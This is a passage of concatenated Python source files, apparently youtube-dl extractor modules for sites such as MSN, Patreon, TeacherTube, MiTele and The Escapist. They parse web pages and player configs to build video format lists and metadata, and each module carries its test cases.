from ..compat import compat_str
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    unescapeHTML,
)


class MSNIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?msn\.com/(?:[^/]+/)+(?P<display_id>[^/]+)/[a-z]{2}-(?P<id>[\da-zA-Z]+)'
    _TESTS = [{
        'url': 'http://www.msn.com/en-ae/foodanddrink/joinourtable/criminal-minds-shemar-moore-shares-a-touching-goodbye-message/vp-BBqQYNE',
        'md5': '8442f66c116cbab1ff7098f986983458',
        'info_dict': {
            'id': 'BBqQYNE',
            'display_id': 'criminal-minds-shemar-moore-shares-a-touching-goodbye-message',
            'ext': 'mp4',
            'title': 'Criminal Minds - Shemar Moore Shares A Touching Goodbye Message',
            'description': 'md5:e8e89b897b222eb33a6b5067a8f1bc25',
            'duration': 104,
            'uploader': 'CBS Entertainment',
            'uploader_id': 'IT0X5aoJ6bJgYerJXSDCgFmYPB1__54v',
        },
    }, {
        'url': 'http://www.msn.com/en-ae/news/offbeat/meet-the-nine-year-old-self-made-millionaire/ar-BBt6ZKf',
        'only_matching': True,
    }, {
        'url': 'http://www.msn.com/en-ae/video/watch/obama-a-lot-of-people-will-be-disappointed/vi-AAhxUMH',
        'only_matching': True,
    }, {
        # geo restricted
        'url': 'http://www.msn.com/en-ae/foodanddrink/joinourtable/the-first-fart-makes-you-laugh-the-last-fart-makes-you-cry/vp-AAhzIBU',
        'only_matching': True,
    }, {
        'url': 'http://www.msn.com/en-ae/entertainment/bollywood/watch-how-salman-khan-reacted-when-asked-if-he-would-apologize-for-his-‘raped-woman’-comment/vi-AAhvzW6',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id, display_id = mobj.group('id', 'display_id')

        webpage = self._download_webpage(url, display_id)

        video = self._parse_json(
            self._search_regex(
                r'data-metadata\s*=\s*(["\'])(?P<data>.+?)\1',
                webpage, 'video data', default='{}', group='data'),
            display_id, transform_source=unescapeHTML)

        if not video:
            error = unescapeHTML(self._search_regex(
                r'data-error=(["\'])(?P<error>.+?)\1',
                webpage, 'error', group='error'))
            raise ExtractorError('%s said: %s' % (self.IE_NAME, error), expected=True)

        title = video['title']

        formats = []
        for file_ in video.get('videoFiles', []):
            format_url = file_.get('url')
            if not format_url:
                continue
            ext = determine_ext(format_url)
            # .ism is not yet supported (see
            # https://github.com/rg3/youtube-dl/issues/8118)
            if ext == 'ism':
                continue
            if 'm3u8' in format_url:
                # m3u8_native should not be used here until
                # https://github.com/rg3/youtube-dl/issues/9913 is fixed
                m3u8_formats = self._extract_m3u8_formats(
                    format_url, display_id, 'mp4',
                    m3u8_id='hls', fatal=False)
                # Despite metadata in m3u8 all video+audio formats are
                # actually video-only (no audio)
                for f in m3u8_formats:
                    if f.get('acodec') != 'none' and f.get('vcodec') != 'none':
                        f['acodec'] = 'none'
                formats.extend(m3u8_formats)
            else:
                formats.append({
                    'url': format_url,
                    'ext': 'mp4',
                    'format_id': 'http',
                    'width': int_or_none(file_.get('width')),
                    'height': int_or_none(file_.get('height')),
                })
        self._sort_formats(formats)

        subtitles = {}
        for file_ in video.get('files', []):
            format_url = file_.get('url')
            format_code = file_.get('formatCode')
            if not format_url or not format_code:
                continue
            if compat_str(format_code) == '3100':
                subtitles.setdefault(file_.get('culture', 'en'), []).append({
                    'ext': determine_ext(format_url, 'ttml'),
                    'url': format_url,
                })

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': video.get('description'),
            'thumbnail': video.get('headlineImage', {}).get('url'),
            'duration': int_or_none(video.get('durationSecs')),
            'uploader': video.get('sourceFriendly'),
            'uploader_id': video.get('providerId'),
            'creator': video.get('creator'),
            'subtitles': subtitles,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    parse_duration,
    parse_iso8601,
)


class ComCarCoffIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?comediansincarsgettingcoffee\.com/(?P<id>[a-z0-9\-]*)'
    _TESTS = [{
        'url': 'http://comediansincarsgettingcoffee.com/miranda-sings-happy-thanksgiving-miranda/',
        'info_dict': {
            'id': '2494164',
            'ext': 'mp4',
            'upload_date': '20141127',
            'timestamp': 1417107600,
            'duration': 1232,
            'title': 'Happy Thanksgiving Miranda',
            'description': 'Jerry Seinfeld and his special guest Miranda Sings cruise around town in search of coffee, complaining and apologizing along the way.',
        },
        'params': {
            'skip_download': 'requires ffmpeg',
        }
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        if not display_id:
            display_id = 'comediansincarsgettingcoffee.com'
        webpage = self._download_webpage(url, display_id)

        full_data = self._parse_json(
            self._search_regex(
                r'window\.app\s*=\s*({.+?});\n', webpage, 'full data json'),
            display_id)['videoData']

        display_id = full_data['activeVideo']['video']
        video_data = full_data.get('videos', {}).get(display_id) or full_data['singleshots'][display_id]

        video_id = compat_str(video_data['mediaId'])
        title = video_data['title']
        formats = self._extract_m3u8_formats(
            video_data['mediaUrl'], video_id, 'mp4')
        self._sort_formats(formats)

        thumbnails = [{
            'url': video_data['images']['thumb'],
        }, {
            'url': video_data['images']['poster'],
        }]

        timestamp = int_or_none(video_data.get('pubDateTime')) or parse_iso8601(
            video_data.get('pubDate'))
        duration = int_or_none(video_data.get('durationSeconds')) or parse_duration(
            video_data.get('duration'))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': video_data.get('description'),
            'timestamp': timestamp,
            'duration': duration,
            'thumbnails': thumbnails,
            'formats': formats,
            'season_number': int_or_none(video_data.get('season')),
            'episode_number': int_or_none(video_data.get('episode')),
            'webpage_url': 'http://comediansincarsgettingcoffee.com/%s' % (video_data.get('urlSlug', video_data.get('slug'))),
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import js_to_json


class PatreonIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?patreon\.com/creation\?hid=(?P<id>[^&#]+)'
    _TESTS = [
        {
            'url': 'http://www.patreon.com/creation?hid=743933',
            'md5': 'e25505eec1053a6e6813b8ed369875cc',
            'info_dict': {
                'id': '743933',
                'ext': 'mp3',
                'title': 'Episode 166: David Smalley of Dogma Debate',
                'uploader': 'Cognitive Dissonance Podcast',
                'thumbnail': 're:^https?://.*$',
            },
        },
        {
            'url': 'http://www.patreon.com/creation?hid=754133',
            'md5': '3eb09345bf44bf60451b8b0b81759d0a',
            'info_dict': {
                'id': '754133',
                'ext': 'mp3',
                'title': 'CD 167 Extra',
                'uploader': 'Cognitive Dissonance Podcast',
                'thumbnail': 're:^https?://.*$',
            },
        },
        {
            'url': 'https://www.patreon.com/creation?hid=1682498',
            'info_dict': {
                'id': 'SU4fj_aEMVw',
                'ext': 'mp4',
                'title': 'I\'m on Patreon!',
                'uploader': 'TraciJHines',
                'thumbnail': 're:^https?://.*$',
                'upload_date': '20150211',
                'description': 'md5:c5a706b1f687817a3de09db1eb93acd4',
                'uploader_id': 'TraciJHines',
            },
            'params': {
                'noplaylist': True,
                'skip_download': True,
            }
        }
    ]

    # Currently Patreon exposes download URL via hidden CSS, so login is not
    # needed. Keeping this commented for when this inevitably changes.
    '''
    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'redirectUrl': 'http://www.patreon.com/',
            'email': username,
            'password': password,
        }

        request = sanitized_Request(
            'https://www.patreon.com/processLogin',
            compat_urllib_parse_urlencode(login_form).encode('utf-8')
        )
        login_page = self._download_webpage(request, None, note='Logging in as %s' % username)

        if re.search(r'onLoginFailed', login_page):
            raise ExtractorError('Unable to login, incorrect username and/or password', expected=True)

    def _real_initialize(self):
        self._login()
    '''

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        title = self._og_search_title(webpage).strip()

        attach_fn = self._html_search_regex(
            r'<div class="attach"><a target="_blank" href="([^"]+)">',
            webpage, 'attachment URL', default=None)
        embed = self._html_search_regex(
            r'<div[^>]+id="watchCreation"[^>]*>\s*<iframe[^>]+src="([^"]+)"',
            webpage, 'embedded URL', default=None)

        if attach_fn is not None:
            video_url = 'http://www.patreon.com' + attach_fn
            thumbnail = self._og_search_thumbnail(webpage)
            uploader = self._html_search_regex(
                r'<strong>(.*?)</strong> is creating', webpage, 'uploader')
        elif embed is not None:
            return self.url_result(embed)
        else:
            playlist = self._parse_json(self._search_regex(
                r'(?s)new\s+jPlayerPlaylist\(\s*\{\s*[^}]*},\s*(\[.*?,?\s*\])',
                webpage, 'playlist JSON'),
                video_id, transform_source=js_to_json)
            data = playlist[0]
            video_url = self._proto_relative_url(data['mp3'])
            thumbnail = self._proto_relative_url(data.get('cover'))
            uploader = data.get('artist')

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'mp3',
            'title': title,
            'uploader': uploader,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor

from ..utils import (
    sanitized_Request,
    xpath_text,
    xpath_with_ns,
)


class RegioTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?regio-tv\.de/video/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.regio-tv.de/video/395808.html',
        'info_dict': {
            'id': '395808',
            'ext': 'mp4',
            'title': 'Wir in Ludwigsburg',
            'description': 'Mit unseren zuckersüßen Adventskindern, außerdem besuchen wir die Abendsterne!',
        }
    }, {
        'url': 'http://www.regio-tv.de/video/395808',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        key = self._search_regex(
            r'key\s*:\s*(["\'])(?P<key>.+?)\1', webpage, 'key', group='key')
        title = self._og_search_title(webpage)

        SOAP_TEMPLATE = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><{0} xmlns="http://v.telvi.de/"><key xsi:type="xsd:string">{1}</key></{0}></soap:Body></soap:Envelope>'

        request = sanitized_Request(
            'http://v.telvi.de/',
            SOAP_TEMPLATE.format('GetHTML5VideoData', key).encode('utf-8'))
        video_data = self._download_xml(request, video_id, 'Downloading video XML')

        NS_MAP = {
            'xsi': 'http://www.w3.org/2001/XMLSchema-instance',
            'soap': 'http://schemas.xmlsoap.org/soap/envelope/',
        }

        video_url = xpath_text(
            video_data, xpath_with_ns('.//video', NS_MAP), 'video url', fatal=True)
        thumbnail = xpath_text(
            video_data, xpath_with_ns('.//image', NS_MAP), 'thumbnail')
        description = self._og_search_description(
            webpage) or self._html_search_meta('description', webpage)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    float_or_none,
    try_get,
    unified_timestamp,
)


class FlipagramIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?flipagram\.com/f/(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'https://flipagram.com/f/nyvTSJMKId',
        'md5': '888dcf08b7ea671381f00fab74692755',
        'info_dict': {
            'id': 'nyvTSJMKId',
            'ext': 'mp4',
            'title': 'Flipagram by sjuria101 featuring Midnight Memories by One Direction',
            'description': 'md5:d55e32edc55261cae96a41fa85ff630e',
            'duration': 35.571,
            'timestamp': 1461244995,
            'upload_date': '20160421',
            'uploader': 'kitty juria',
            'uploader_id': 'sjuria101',
            'creator': 'kitty juria',
            'view_count': int,
            'like_count': int,
            'repost_count': int,
            'comment_count': int,
            'comments': list,
            'formats': 'mincount:2',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_data = self._parse_json(
            self._search_regex(
                r'window\.reactH2O\s*=\s*({.+});', webpage, 'video data'),
            video_id)

        flipagram = video_data['flipagram']
        video = flipagram['video']

        json_ld = self._search_json_ld(webpage, video_id, default={})
        title = json_ld.get('title') or flipagram['captionText']
        description = json_ld.get('description') or flipagram.get('captionText')

        formats = [{
            'url': video['url'],
            'width': int_or_none(video.get('width')),
            'height': int_or_none(video.get('height')),
            'filesize': int_or_none(video_data.get('size')),
        }]

        preview_url = try_get(
            flipagram, lambda x: x['music']['track']['previewUrl'], compat_str)
        if preview_url:
            formats.append({
                'url': preview_url,
                'ext': 'm4a',
                'vcodec': 'none',
            })

        self._sort_formats(formats)

        counts = flipagram.get('counts', {})
        user = flipagram.get('user', {})
        video_data = flipagram.get('video', {})

        thumbnails = [{
            'url': self._proto_relative_url(cover['url']),
            'width': int_or_none(cover.get('width')),
            'height': int_or_none(cover.get('height')),
            'filesize': int_or_none(cover.get('size')),
        } for cover in flipagram.get('covers', []) if cover.get('url')]

        # Note that this only retrieves comments that are initally loaded.
        # For videos with large amounts of comments, most won't be retrieved.
        comments = []
        for comment in video_data.get('comments', {}).get(video_id, {}).get('items', []):
            text = comment.get('comment')
            if not text or not isinstance(text, list):
                continue
            comments.append({
                'author': comment.get('user', {}).get('name'),
                'author_id': comment.get('user', {}).get('username'),
                'id': comment.get('id'),
                'text': text[0],
                'timestamp': unified_timestamp(comment.get('created')),
            })

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': float_or_none(flipagram.get('duration'), 1000),
            'thumbnails': thumbnails,
            'timestamp': unified_timestamp(flipagram.get('iso8601Created')),
            'uploader': user.get('name'),
            'uploader_id': user.get('username'),
            'creator': user.get('name'),
            'view_count': int_or_none(counts.get('plays')),
            'like_count': int_or_none(counts.get('likes')),
            'repost_count': int_or_none(counts.get('reflips')),
            'comment_count': int_or_none(counts.get('comments')),
            'comments': comments,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class EmbedlyIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www|cdn\.)?embedly\.com/widgets/media\.html\?(?:[^#]*?&)?url=(?P<id>[^#&]+)'
    _TESTS = [{
        'url': 'https://cdn.embedly.com/widgets/media.html?src=http%3A%2F%2Fwww.youtube.com%2Fembed%2Fvideoseries%3Flist%3DUUGLim4T2loE5rwCMdpCIPVg&url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DSU4fj_aEMVw%26list%3DUUGLim4T2loE5rwCMdpCIPVg&image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FSU4fj_aEMVw%2Fhqdefault.jpg&key=8ee8a2e6a8cc47aab1a5ee67f9a178e0&type=text%2Fhtml&schema=youtube&autoplay=1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        return self.url_result(compat_urllib_parse_unquote(self._match_id(url)))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    qualities,
    determine_ext,
)


class TeacherTubeIE(InfoExtractor):
    IE_NAME = 'teachertube'
    IE_DESC = 'teachertube.com videos'

    _VALID_URL = r'https?://(?:www\.)?teachertube\.com/(viewVideo\.php\?video_id=|music\.php\?music_id=|video/(?:[\da-z-]+-)?|audio/)(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.teachertube.com/viewVideo.php?video_id=339997',
        'md5': 'f9434ef992fd65936d72999951ee254c',
        'info_dict': {
            'id': '339997',
            'ext': 'mp4',
            'title': 'Measures of dispersion from a frequency table',
            'description': 'Measures of dispersion from a frequency table',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://www.teachertube.com/viewVideo.php?video_id=340064',
        'md5': '0d625ec6bc9bf50f70170942ad580676',
        'info_dict': {
            'id': '340064',
            'ext': 'mp4',
            'title': 'How to Make Paper Dolls _ Paper Art Projects',
            'description': 'Learn how to make paper dolls in this simple',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://www.teachertube.com/music.php?music_id=8805',
        'md5': '01e8352006c65757caf7b961f6050e21',
        'info_dict': {
            'id': '8805',
            'ext': 'mp3',
            'title': 'PER ASPERA AD ASTRA',
            'description': 'RADIJSKA EMISIJA ZRAKOPLOVNE TEHNI?KE ?KOLE P',
        },
    }, {
        'url': 'http://www.teachertube.com/video/intro-video-schleicher-297790',
        'md5': '9c79fbb2dd7154823996fc28d4a26998',
        'info_dict': {
            'id': '297790',
            'ext': 'mp4',
            'title': 'Intro Video - Schleicher',
            'description': 'Intro Video - Why to flip, how flipping will',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_meta('title', webpage, 'title', fatal=True)
        TITLE_SUFFIX = ' - TeacherTube'
        if title.endswith(TITLE_SUFFIX):
            title = title[:-len(TITLE_SUFFIX)].strip()

        description = self._html_search_meta('description', webpage, 'description')
        if description:
            description = description.strip()

        quality = qualities(['mp3', 'flv', 'mp4'])

        media_urls = re.findall(r'data-contenturl="([^"]+)"', webpage)
        media_urls.extend(re.findall(r'var\s+filePath\s*=\s*"([^"]+)"', webpage))
        media_urls.extend(re.findall(r'\'file\'\s*:\s*["\']([^"\']+)["\'],', webpage))

        formats = [
            {
                'url': media_url,
                'quality': quality(determine_ext(media_url))
            } for media_url in set(media_urls)
        ]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': self._html_search_regex(r'\'image\'\s*:\s*["\']([^"\']+)["\']', webpage, 'thumbnail'),
            'formats': formats,
            'description': description,
        }


class TeacherTubeUserIE(InfoExtractor):
    IE_NAME = 'teachertube:user:collection'
    IE_DESC = 'teachertube.com user and collection videos'

    _VALID_URL = r'https?://(?:www\.)?teachertube\.com/(user/profile|collection)/(?P<user>[0-9a-zA-Z]+)/?'

    _MEDIA_RE = r'''(?sx)
        class="?sidebar_thumb_time"?>[0-9:]+</div>
        \s*
        <a\s+href="(https?://(?:www\.)?teachertube\.com/(?:video|audio)/[^"]+)"
    '''
    _TEST = {
        'url': 'http://www.teachertube.com/user/profile/rbhagwati2',
        'info_dict': {
            'id': 'rbhagwati2'
        },
        'playlist_mincount': 179,
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user_id = mobj.group('user')

        urls = []
        webpage = self._download_webpage(url, user_id)
        urls.extend(re.findall(self._MEDIA_RE, webpage))

        pages = re.findall(r'/ajax-user/user-videos/%s\?page=([0-9]+)' % user_id, webpage)[:-1]
        for p in pages:
            more = 'http://www.teachertube.com/ajax-user/user-videos/%s?page=%s' % (user_id, p)
            webpage = self._download_webpage(more, user_id, 'Downloading page %s/%s' % (p, len(pages)))
            video_urls = re.findall(self._MEDIA_RE, webpage)
            urls.extend(video_urls)

        entries = [self.url_result(vurl, 'TeacherTube') for vurl in urls]
        return self.playlist_result(entries, user_id)






# coding: utf-8
from __future__ import unicode_literals

import random
import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote_plus
from ..utils import (
    int_or_none,
    float_or_none,
    timeconvert,
    update_url_query,
    xpath_text,
)


class KUSIIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?kusi\.com/(?P<path>story/.+|video\?clipId=(?P<clipId>\d+))'
    _TESTS = [{
        'url': 'http://www.kusi.com/story/31183873/turko-files-case-closed-put-on-hold',
        'md5': 'f926e7684294cf8cb7bdf8858e1b3988',
        'info_dict': {
            'id': '12203019',
            'ext': 'mp4',
            'title': 'Turko Files: Case Closed! & Put On Hold!',
            'duration': 231.0,
            'upload_date': '20160210',
            'timestamp': 1455087571,
            'thumbnail': 're:^https?://.*\.jpg$'
        },
    }, {
        'url': 'http://kusi.com/video?clipId=12203019',
        'info_dict': {
            'id': '12203019',
            'ext': 'mp4',
            'title': 'Turko Files: Case Closed! & Put On Hold!',
            'duration': 231.0,
            'upload_date': '20160210',
            'timestamp': 1455087571,
            'thumbnail': 're:^https?://.*\.jpg$'
        },
        'params': {
            'skip_download': True,  # Same as previous one
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        clip_id = mobj.group('clipId')
        video_id = clip_id or mobj.group('path')

        webpage = self._download_webpage(url, video_id)

        if clip_id is None:
            video_id = clip_id = self._html_search_regex(
                r'"clipId"\s*,\s*"(\d+)"', webpage, 'clip id')

        affiliate_id = self._search_regex(
            r'affiliateId\s*:\s*\'([^\']+)\'', webpage, 'affiliate id')

        # See __Packages/worldnow/model/GalleryModel.as of WNGallery.swf
        xml_url = update_url_query('http://www.kusi.com/build.asp', {
            'buildtype': 'buildfeaturexmlrequest',
            'featureType': 'Clip',
            'featureid': clip_id,
            'affiliateno': affiliate_id,
            'clientgroupid': '1',
            'rnd': int(round(random.random() * 1000000)),
        })

        doc = self._download_xml(xml_url, video_id)

        video_title = xpath_text(doc, 'HEADLINE', fatal=True)
        duration = float_or_none(xpath_text(doc, 'DURATION'), scale=1000)
        description = xpath_text(doc, 'ABSTRACT')
        thumbnail = xpath_text(doc, './THUMBNAILIMAGE/FILENAME')
        createtion_time = timeconvert(xpath_text(doc, 'rfc822creationdate'))

        quality_options = doc.find('{http://search.yahoo.com/mrss/}group').findall('{http://search.yahoo.com/mrss/}content')
        formats = []
        for quality in quality_options:
            formats.append({
                'url': compat_urllib_parse_unquote_plus(quality.attrib['url']),
                'height': int_or_none(quality.attrib.get('height')),
                'width': int_or_none(quality.attrib.get('width')),
                'vbr': float_or_none(quality.attrib.get('bitratebits'), scale=1000),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_title,
            'description': description,
            'duration': duration,
            'formats': formats,
            'thumbnail': thumbnail,
            'timestamp': createtion_time,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    get_element_by_attribute,
    int_or_none,
    remove_start,
    extract_attributes,
    determine_ext,
)


class MiTeleBaseIE(InfoExtractor):
    def _get_player_info(self, url, webpage):
        player_data = extract_attributes(self._search_regex(
            r'(?s)(<ms-video-player.+?</ms-video-player>)',
            webpage, 'ms video player'))
        video_id = player_data['data-media-id']
        config_url = compat_urlparse.urljoin(url, player_data['data-config'])
        config = self._download_json(
            config_url, video_id, 'Downloading config JSON')
        mmc_url = config['services']['mmc']

        duration = None
        formats = []
        for m_url in (mmc_url, mmc_url.replace('/flash.json', '/html5.json')):
            mmc = self._download_json(
                m_url, video_id, 'Downloading mmc JSON')
            if not duration:
                duration = int_or_none(mmc.get('duration'))
            for location in mmc['locations']:
                gat = self._proto_relative_url(location.get('gat'), 'http:')
                bas = location.get('bas')
                loc = location.get('loc')
                ogn = location.get('ogn')
                if None in (gat, bas, loc, ogn):
                    continue
                token_data = {
                    'bas': bas,
                    'icd': loc,
                    'ogn': ogn,
                    'sta': '0',
                }
                media = self._download_json(
                    '%s/?%s' % (gat, compat_urllib_parse_urlencode(token_data)),
                    video_id, 'Downloading %s JSON' % location['loc'])
                file_ = media.get('file')
                if not file_:
                    continue
                ext = determine_ext(file_)
                if ext == 'f4m':
                    formats.extend(self._extract_f4m_formats(
                        file_ + '&hdcore=3.2.0&plugin=aasp-3.2.0.77.18',
                        video_id, f4m_id='hds', fatal=False))
                elif ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        file_, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'thumbnail': player_data.get('data-poster') or config.get('poster', {}).get('imageUrl'),
            'duration': duration,
        }


class MiTeleIE(MiTeleBaseIE):
    IE_DESC = 'mitele.es'
    _VALID_URL = r'https?://www\.mitele\.es/(?:[^/]+/){3}(?P<id>[^/]+)/'

    _TESTS = [{
        'url': 'http://www.mitele.es/programas-tv/diario-de/la-redaccion/programa-144/',
        # MD5 is unstable
        'info_dict': {
            'id': '0NF1jJnxS1Wu3pHrmvFyw2',
            'display_id': 'programa-144',
            'ext': 'mp4',
            'title': 'Tor, la web invisible',
            'description': 'md5:3b6fce7eaa41b2d97358726378d9369f',
            'series': 'Diario de',
            'season': 'La redacción',
            'episode': 'Programa 144',
            'thumbnail': 're:(?i)^https?://.*\.jpg$',
            'duration': 2913,
        },
    }, {
        # no explicit title
        'url': 'http://www.mitele.es/programas-tv/cuarto-milenio/temporada-6/programa-226/',
        'info_dict': {
            'id': 'eLZSwoEd1S3pVyUm8lc6F',
            'display_id': 'programa-226',
            'ext': 'mp4',
            'title': 'Cuarto Milenio - Temporada 6 - Programa 226',
            'description': 'md5:50daf9fadefa4e62d9fc866d0c015701',
            'series': 'Cuarto Milenio',
            'season': 'Temporada 6',
            'episode': 'Programa 226',
            'thumbnail': 're:(?i)^https?://.*\.jpg$',
            'duration': 7312,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        info = self._get_player_info(url, webpage)

        title = self._search_regex(
            r'class="Destacado-text"[^>]*>\s*<strong>([^<]+)</strong>',
            webpage, 'title', default=None)

        mobj = re.search(r'''(?sx)
                            class="Destacado-text"[^>]*>.*?<h1>\s*
                            <span>(?P<series>[^<]+)</span>\s*
                            <span>(?P<season>[^<]+)</span>\s*
                            <span>(?P<episode>[^<]+)</span>''', webpage)
        series, season, episode = mobj.groups() if mobj else [None] * 3

        if not title:
            if mobj:
                title = '%s - %s - %s' % (series, season, episode)
            else:
                title = remove_start(self._search_regex(
                    r'<title>([^<]+)</title>', webpage, 'title'), 'Ver online ')

        info.update({
            'display_id': display_id,
            'title': title,
            'description': get_element_by_attribute('class', 'text', webpage),
            'series': series,
            'season': season,
            'episode': episode,
        })
        return info






from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    clean_html,
    int_or_none,
    float_or_none,
    sanitized_Request,
)


def _decrypt_config(key, string):
    a = ''
    i = ''
    r = ''

    while len(a) < (len(string) / 2):
        a += key

    a = a[0:int(len(string) / 2)]

    t = 0
    while t < len(string):
        i += chr(int(string[t] + string[t + 1], 16))
        t += 2

    icko = [s for s in i]

    for t, c in enumerate(a):
        r += chr(ord(c) ^ ord(icko[t]))

    return r


class EscapistIE(InfoExtractor):
    _VALID_URL = r'https?://?(?:www\.)?escapistmagazine\.com/videos/view/[^/?#]+/(?P<id>[0-9]+)-[^/?#]*(?:$|[?#])'
    _TESTS = [{
        'url': 'http://www.escapistmagazine.com/videos/view/the-escapist-presents/6618-Breaking-Down-Baldurs-Gate',
        'md5': 'ab3a706c681efca53f0a35f1415cf0d1',
        'info_dict': {
            'id': '6618',
            'ext': 'mp4',
            'description': "Baldur's Gate: Original, Modded or Enhanced Edition? I'll break down what you can expect from the new Baldur's Gate: Enhanced Edition.",
            'title': "Breaking Down Baldur's Gate",
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 264,
            'uploader': 'The Escapist',
        }
    }, {
        'url': 'http://www.escapistmagazine.com/videos/view/zero-punctuation/10044-Evolve-One-vs-Multiplayer',
        'md5': '9e8c437b0dbb0387d3bd3255ca77f6bf',
        'info_dict': {
            'id': '10044',
            'ext': 'mp4',
            'description': 'This week, Zero Punctuation reviews Evolve.',
            'title': 'Evolve - One vs Multiplayer',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 304,
            'uploader': 'The Escapist',
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        ims_video = self._parse_json(
            self._search_regex(
                r'imsVideo\.play\(({.+?})\);', webpage, 'imsVideo'),
            video_id)
        video_id = ims_video['videoID']
        key = ims_video['hash']

        config_req = sanitized_Request(
            'http://www.escapistmagazine.com/videos/'
            'vidconfig.php?videoID=%s&hash=%s' % (video_id, key))
        config_req.add_header('Referer', url)
        config = self._download_webpage(config_req, video_id, 'Downloading video config')

        data = json.loads(_decrypt_config(key, config))

        video_data = data['videoData']

        title = clean_html(video_data['title'])
        duration = float_or_none(video_data.get('duration'), 1000)
        uploader = video_data.get('publisher')

        formats = [{
            'url': video['src'],
            'format_id': '%s-%sp' % (determine_ext(video['src']), video['res']),
            'height': int_or_none(video.get('res')),
        } for video in data['files']['videos']]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage),
            'description': self._og_search_description(webpage),
            'duration': duration,
            'uploader': uploader,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urllib_request,
)
from ..utils import (
    ExtractorError,
)


class ScreencastIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?screencast\.com/t/(?P<id>[a-zA-Z0-9]+)'
    _TESTS = [{
        'url': 'http://www.screencast.com/t/3ZEjQXlT',
        'md5': '917df1c13798a3e96211dd1561fded83',
        'info_dict': {
            'id': '3ZEjQXlT',
            'ext': 'm4v',
            'title': 'Color Measurement with Ocean Optics Spectrometers',
            'description': 'md5:240369cde69d8bed61349a199c5fb153',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
        }
    }, {
        'url': 'http://www.screencast.com/t/V2uXehPJa1ZI',
        'md5': 'e8e4b375a7660a9e7e35c33973410d34',
        'info_dict': {
            'id': 'V2uXehPJa1ZI',
            'ext': 'mov',
            'title': 'The Amadeus Spectrometer',
            'description': 're:^In this video, our friends at.*To learn more about Amadeus, visit',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
        }
    }, {
        'url': 'http://www.screencast.com/t/aAB3iowa',
        'md5': 'dedb2734ed00c9755761ccaee88527cd',
        'info_dict': {
            'id': 'aAB3iowa',
            'ext': 'mp4',
            'title': 'Google Earth Export',
